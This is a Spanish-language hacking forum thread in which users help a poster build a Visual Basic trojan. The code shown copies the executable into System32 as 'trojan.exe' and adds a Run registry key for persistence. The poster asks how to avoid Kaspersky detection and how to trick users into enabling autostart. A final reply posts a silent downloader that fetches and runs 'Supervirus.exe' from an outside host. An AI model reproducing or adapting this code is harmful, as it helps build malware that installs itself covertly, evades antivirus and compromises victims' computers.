Autor
|
Tema: Cuando se ejecute, que se copie a system32 (Leído 6,679 veces)
|
~~
|
Eso sera por q intentas copiarlo sobre si mismo, es decir copiar sobre un archivo en ejecucion. Cuando se aya copiado a system32 sacalo al escritorio por ejemplo y ejecutalo, veras como funciona bien 1S4ludo
|
|
|
En línea
|
|
|
|
sp26
Desconectado
Mensajes: 88
|
Es mas facil:
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\trojan.exe"
|
|
|
En línea
|
|
|
|
lipman
|
Bueno acabo de probar este ultimo codigo que me dices sp26 y obtengo los mismos resultados que los demás, me sale el error ese. Pero he probado lo que dices, E0N con los dos tipos de troyanos (el que necesita modulo y el que me acaba de decir sp26) y es verdad, cuando los saco me funciona... Pero lógicamente, me tiene que funcionar dentro del system32, no? Porque lo que deseo es eso, que se copie al registro (que ya tengo el codigo y que funciona) y que se meta en system32. Entonces, he de hacer algo, o se supone que me funciona así? Bueno aquí dejo el código "entero" Private Sub Form_Load() Set residencia = CreateObject("WScript.Shell") residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan", "C:\Windows\System32\trojan.exe" FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\trojan.exe" End Sub
Repito, aunque me funcione dentro del escritorio, se supone que me tiene que funcionar dentro de system32. ¿Que hago :S? Saludos, y Gracias
|
|
|
En línea
|
|
|
|
sp26
Desconectado
Mensajes: 88
|
Lei y relei pero no entendi muy bien...
¿Quieres que se copie al System32 desde el registro?
Para eso colocalo en el _Load
|
|
|
En línea
|
|
|
|
~~
|
Bamos a ver te lo vuelvo a explicar por q parece q me expliké mal... Imagina q en el escritorio tienes un programa q se llama game.exe (y q estas usando) y kieres copiar al escritorio otro programa q se llame game.exe. Evidentemente windows no te va a dejar por q no puedes poner dos archivos con el mismo nombre en la misma carpeta (se sobrescribirian) y en este caso como el primer game.exe esta en uso no te deja ni sobreescribirlo. Con tu troyano pasa lo mismo, no puedes sobreescribirlo, ni copiar dos archivos con el mismo nombre en la misma carpeta, por lo q te da error. Como solucionarlo?? pues comprobando antes de nada si el archivo existe. Esta es una opcion: If Dir("C:\windows\system32\troyano.exe") <> "" Then MsgBox "El archivo existe." 'Como ya existe no hace falta q lo copies ni lo añadas al registro Else MsgBox "El archivo no existe." 'Como no existe lo copias y lo añades al registro End If Ahora te vendrá muy bien mi codigo para obtener la carpeta de system32 para poner la direccion q te de aki: Dir("C:\windows\system32\troyano.exe") Si aun te keda alguna duda postea 1S4ludo
|
|
|
En línea
|
|
|
|
lipman
|
Aaaaaa!!! Claro ahora entiendo el problema. Lo acabo de entender modificando tu código así: Private Sub Form_Load() If Dir("C:\windows\system32\troyano.exe") <> "" Then MsgBox "El archivo existe" 'Como ya existe no hace falta q lo copies ni lo añadas al registro Else FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe" 'Como no existe lo copias y lo añades al registro End If End Sub
Claro, al principio todo funciona bien, pero si lo abro desde system32 logicamente no funciona porque se supone que se quiere volver a copiar ahí. Entonces, lo que necesito, es esto??: Un form, que al abrirlo se copie a sys32 (y al registro) y cuando se haya copiado, que se deshabilite la opción esa que tiene de copiarse a system32 para que solo lo haga la primera vez, y las demás no. Entonces, que os parece este código??: Private Sub Form_Load() If Dir("C:\windows\system32\troyano.exe") <> "" Then ****** Else FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe" ;;;;;;;; End If End Sub ***** = Código, por ejemplo, para reiniciar el ordenador (cual es?? :S(por no abrir otro post)) ;;;;;;; = Código, para copiar en el registro. Ahora tengo una pregunta con los IF y los ELSE. En el código, por ejemplo, en donde va el *****, puedo poner un código muy muy grande?? Algo así como 50 líneas... Gracias Saludos
|
|
|
En línea
|
|
|
|
sp26
Desconectado
Mensajes: 88
|
Para eso haces un Goto Private Form_Load () On Error GoTo fallo:
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\trojan.exe"
Fallo: End sub Es mejor
|
|
|
En línea
|
|
|
|
yovaninu
Desconectado
Mensajes: 349
|
Private Sub Form_Load() If Dir("C:\windows\system32\troyano.exe") <> "" Then ****** Else FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe" ;;;;;;;; End If End Sub
***** = Código, por ejemplo, para reiniciar el ordenador (cual es?? :S(por no abrir otro post)) ;;;;;;; = Código, para copiar en el registro.
Ahora tengo una pregunta con los IF y los ELSE.
En el código, por ejemplo, en donde va el *****, puedo poner un código muy muy grande?? Algo así como 50 líneas...
Gracias Saludos
puedes poner 500 lineas claro siempre tendiendo en cuenta que los recursos los uses bien, en fin se trata de vaciar variables despues de usarlar etc etc ademas de cuidar de que no haya algo que vuelva inestable el sistema, inlcuso puede poner bucles y mas bucles, en cuyo caso quiza sea necesario que una de esa lineas diga DoEvents... respecto a lo de copiarse en el system al menos yo uso otro metodo para mis server's uno clasico se trata de que el server se abra a si mismo (en binario), meta su contenido en una variable string y cree un archivo con el mismo nombre en system32, si lo haces correctamente no debe fallar, no tengo el codigo a la mano pero mas o menos es algo asi: on error goto error 'si no pones esto regresamos a tus tipicos errores
open app.path & "\" app.exename & ".exe" for binary as #1 dserver=input(lof(1),1) close #1
open dirsystem & "\" & app.exename & ".exe" for binary as #1 put #1,,dserver close #1
error: end sub
o algo asi, veo que ese metodo no lo tocaron pero ahi tienes para ap`render un poco mas un saludo!
|
|
|
En línea
|
|
|
|
lipman
|
Perdon en tardar tanto en responder.
el codigo que me dices sp26 no me deja compilarlo, me dije que el procedimiento externo no es válido, y me señala la línea de: "On Error GoTo Fallo" (me la señala sin los dos puntos que pones)
Bueno y el código que me dices, yovaninu, me señala y dime lo mismo con la misma línea que ha sp26, y además, antes de compilar, cuando pego el código, deja de color rojo la línea esta de: "open app.path & "\" app.exename & ".exe" for binary as #1"
Y otra cosa, el código que usaba para copiar el archivo a system32 que me habeis dicho antes ("FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe"") me lo detecta el kaspersky como troyan.generic (maldito sea!!!!), pero no me lo detecta cuando lo analizo, sino cuando lo abro.
Me tengo que gobernar otra manera de copiarlo a sys32
He pensado en una cosa.
Cuando instalas un programa (algunos) te deja la opción de dejarlo que se inicie solo al encender el ordenador.
No podría hacer yo lo mismo, salvo que en vez de preguntarlo, pondría alguna otra cosa, como ¿eres listo? pulsa si o no, y en cualquier caso (por si alguien se considera tonto) pongo para que se copie.
Tambien he intentado agregar la funcion para que se copie a sys32 dandole a un botón, y como me imaginaba, no funcionaría.
¿Alguna idea?
Saludos
|
|
|
En línea
|
|
|
|
sp26
Desconectado
Mensajes: 88
|
Una buena idea es que se baje automaticamente de internet silenciosamente y desde tu programa llamarlo... Exactamenhte asi: Private Declare Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" _ (ByVal pCaller As Long, _ ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, _ ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
Private Sub Command1_Click() Dim sSourceUrl As String
sSourceUrl = "http://supervirus.com/" & _ "subdirectorio/Supervirus.exe"
DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\Supervirus.exe" End Sub
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean DownloadFile = URLDownloadToFile(0, sURL, _ sLocalFile, 0, 0) = ERROR_SUCCESS End Function En el otro form, creas un timer con intervalo de 2000 (2 segundos) Private sub timer1_timer () On error goto FALLO: Shell Environ("SYSTEMROOT") & "\System32\Supervirus.exe" Fallo: End sub
|
|
« Última modificación: 12 Diciembre 2006, 20:08 pm por sp26 »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
tengo un exe y quiero se se ejecute solo cuando el pc abra una pagina web ayuda?
Análisis y Diseño de Malware
|
binario010101
|
5
|
3,664
|
11 Agosto 2013, 17:28 pm
por MeCraniDOS
|
|
|
crear tarea programa que se ejecute cuando se inicia el sistema
Scripting
|
binario010101
|
1
|
2,808
|
1 Enero 2014, 23:40 pm
por Eleкtro
|
|
|
Virus que copie archivos
Programación General
|
llttjj
|
3
|
2,341
|
24 Febrero 2016, 01:55 am
por simorg
|
|
|
Script para que se ejecute cuando haya un cambio en los puertos USB
Scripting
|
gooses01
|
2
|
2,321
|
24 Agosto 2016, 00:55 am
por gooses01
|
|
|
codigo .bat que copie archivos
Dudas Generales
|
Mael805
|
0
|
1,828
|
25 Octubre 2017, 18:04 pm
por Mael805
|
|